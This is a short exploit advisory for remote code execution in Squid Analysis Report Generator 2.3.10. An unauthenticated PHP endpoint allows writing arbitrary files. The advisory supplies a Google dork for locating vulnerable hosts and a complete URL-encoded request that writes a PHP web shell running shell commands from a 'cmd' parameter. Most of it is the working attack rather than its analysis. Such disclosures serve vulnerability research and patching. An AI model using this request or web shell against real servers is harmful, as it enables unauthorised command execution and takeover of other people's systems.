Squid Analysis Report Generator 2.3.10 - Remote Code Execution

# Exploit Title: RCE/Arbitrary file write in Squid Analysis Report Generator (SARG)
# Google Dork: inurl:sarg-php
# Date: 01 September 2017
# Exploit Author: Pavel Suprunyuk
# Vendor Homepage: https://sourceforge.net/projects/sarg/
# Software Link: https://sourceforge.net/projects/sarg/
# Version: Tested on 2.3.10, other versions are vulnerable too.
# Tested on: PHP, any OS
# CVE : None

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sarg-php/sarg-squidguard-block2.php does not require any authentication and allows to write an arbitrary file:

sarg-php/sarg-squidguard-block2.php?file=<your_shell_name.php>&url=<your_php_shell_content>

Exploit example:

the following request

http://vulnerable_site/sarg-php/sarg-squidguard-block2?file=shell.php&url=%3C%3Fphp%20if%20(isset($_GET%5B'cmd'%5D))%20echo%20shell_exec($_GET%5B'cmd'%5D)%3B%20%3F%3E

will write the basic shell "<?php if (isset($_GET['cmd'])) echo shell_exec($_GET['cmd']); ?>" into the "shell.php" file